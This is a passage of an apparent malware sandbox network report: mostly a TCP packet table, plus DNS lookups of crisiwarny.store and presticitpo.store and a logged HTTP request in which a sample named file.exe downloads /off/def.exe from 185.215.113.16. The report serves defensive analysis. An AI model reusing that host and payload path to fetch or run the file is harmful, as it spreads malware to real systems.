Oct 27, 2024 20:15:35.164345026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164345980 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164355040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164360046 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164371967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164385080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164392948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164395094 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164405107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164410114 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164417982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164428949 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164441109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164443016 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164453030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164463997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164463997 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164477110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164499998 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164526939 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164534092 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164549112 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164560080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164568901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164580107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164589882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164594889 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164602041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164611101 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164614916 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164627075 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164629936 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164638996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164649963 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164649010 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164661884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164673090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164683104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164689064 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164695024 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164706945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164714098 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164716959 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164731026 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164731026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164746046 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164763927 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164803982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164814949 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164824963 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164835930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164848089 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164850950 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164860010 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164871931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164875984 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164884090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164906025 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164937019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164938927 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164949894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164962053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164973021 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164983988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.164987087 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.164995909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165008068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165008068 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165019035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165041924 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165071964 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165101051 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165112019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165122032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165132999 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165143013 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165147066 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165154934 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165164948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165173054 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165177107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165185928 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165189028 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165200949 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165210009 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165210962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165225029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165235043 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165236950 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165247917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165255070 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165266037 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165277958 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165287018 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165290117 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165301085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165312052 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165323973 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165328026 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165334940 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165347099 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165352106 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165358067 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165364027 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165369987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165380001 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165380955 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165391922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165401936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165407896 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165416002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165426016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165430069 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165436983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165441036 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165479898 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165503979 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165576935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165605068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165616989 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165622950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165637016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165647030 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165648937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.165659904 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165671110 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.165683031 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.169856071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.169876099 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.169886112 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.169924021 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.169965029 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.169965029 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.169994116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170005083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170015097 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170025110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170034885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170041084 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170041084 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170047045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170053959 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170058966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170069933 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170077085 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170099974 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170099974 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170133114 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170144081 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170154095 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170157909 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170164108 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170171976 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170176029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170187950 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170188904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170187950 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170201063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170211077 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170226097 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170231104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170243025 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170258045 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170258045 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170258999 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170269012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170272112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170279026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170290947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170294046 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170301914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170301914 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170312881 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170316935 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170321941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170332909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170336962 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170336962 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170362949 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170362949 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170372009 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170778990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170802116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170811892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170828104 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170847893 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170847893 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170882940 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170893908 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170903921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170916080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.170914888 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170933962 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170939922 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.170965910 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171082020 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171093941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171103954 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171113014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171123981 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171128988 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171134949 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171144962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171145916 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171145916 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171159029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171169996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171180010 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171180964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171180010 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171190977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171195984 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171202898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171212912 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171217918 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171227932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171236992 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171243906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171255112 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171264887 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171267033 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171279907 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171282053 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171292067 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171303034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171303988 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171322107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171331882 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171333075 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171341896 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171344042 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171360016 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171360970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171375036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171384096 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171387911 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171401978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171412945 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171412945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171423912 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171431065 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171436071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171444893 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171447039 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171459913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171464920 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171469927 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171479940 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171480894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171493053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171504021 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171505928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171516895 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171518087 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171519041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171535969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171540022 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171549082 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171560049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171564102 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171571016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171576977 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171582937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171593904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171602964 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171605110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171614885 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171617031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171631098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171636105 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171662092 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171662092 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171685934 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171695948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171706915 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171717882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171727896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171732903 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171734095 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171739101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171746969 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171751022 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171761990 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171762943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171776056 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171785116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171786070 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171797037 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171798944 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171808958 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171822071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171825886 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171833992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171838045 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171844959 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171848059 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171857119 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171868086 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171868086 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171869993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171881914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171889067 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171892881 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171901941 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171905994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171916962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:35.171931982 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171931982 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.171955109 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.173342943 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:35.250121117 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:16:08.913276911 CET	49719	80	192.168.2.5	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 20:15:11.548724890 CET	61017	53	192.168.2.5	1.1.1.1
Oct 27, 2024 20:15:12.547599077 CET	61017	53	192.168.2.5	1.1.1.1
Oct 27, 2024 20:15:12.733144045 CET	53	61017	1.1.1.1	192.168.2.5
Oct 27, 2024 20:15:12.733264923 CET	53	61017	1.1.1.1	192.168.2.5
Oct 27, 2024 20:15:12.739070892 CET	53084	53	192.168.2.5	1.1.1.1
Oct 27, 2024 20:15:12.757316113 CET	53	53084	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 20:15:11.548724890 CET	192.168.2.5	1.1.1.1	0xb07	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 27, 2024 20:15:12.547599077 CET	192.168.2.5	1.1.1.1	0xb07	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 27, 2024 20:15:12.739070892 CET	192.168.2.5	1.1.1.1	0x3a61	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 20:15:12.733144045 CET	1.1.1.1	192.168.2.5	0xb07	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 27, 2024 20:15:12.733264923 CET	1.1.1.1	192.168.2.5	0xb07	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 27, 2024 20:15:12.757316113 CET	1.1.1.1	192.168.2.5	0x3a61	No error (0)	crisiwarny.store		104.21.95.91	A (IP address)	IN (0x0001)	false
Oct 27, 2024 20:15:12.757316113 CET	1.1.1.1	192.168.2.5	0x3a61	No error (0)	crisiwarny.store		172.67.170.64	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

crisiwarny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49719	185.215.113.16	80	4292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 20:15:26.464716911 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
